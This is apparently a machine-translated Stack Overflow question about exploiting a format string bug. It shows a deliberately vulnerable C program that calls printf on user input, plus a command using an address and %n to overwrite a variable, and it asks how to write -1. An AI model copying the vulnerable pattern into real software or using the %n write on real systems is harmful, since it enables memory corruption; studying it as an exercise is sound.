Format String exploit을 사용하여 변수의 값을 설정하려고합니다. 수정 자 % n을 사용하여 문자열의 길이 값으로 변수를 변경할 수있었습니다.문자열 형식 악용 : 음수 값 = "-1"설정 % n 사용
코드
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
char buffer[100];
static int a=77;
strcpy(buffer, argv[1]);
printf(buffer);
printf("address a = 0x%08x, [0x%08x]\n", &a, a);
printf("a = %d\n", a);
return 0;
}
I "는 = -1", 예를 들어, 음의 값으로 설정된 변수를 변경할 수있는 방법
./v4_2.out `printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n
address a = 0x080498c4, [0x00000034]
a = 52
후?
P. 나는 이것이 % u로 할 수 있다는 것을 알았다.
SO에 오신 것을 환영합니다. 당신은 무엇을 성취하기를 아주 불분명합니다. 제목이 잘못된 형식 지정자 (% u 대 -1)를 사용하고 있습니다. 귀하의 질문은 가치를 수정하기위한 몇 가지 방법을 언급합니다. 형식 지정자는 인쇄 된 출력을 변경할 수 있지만 모든 변수의 값을 변경하지는 않습니다. – Gerhardh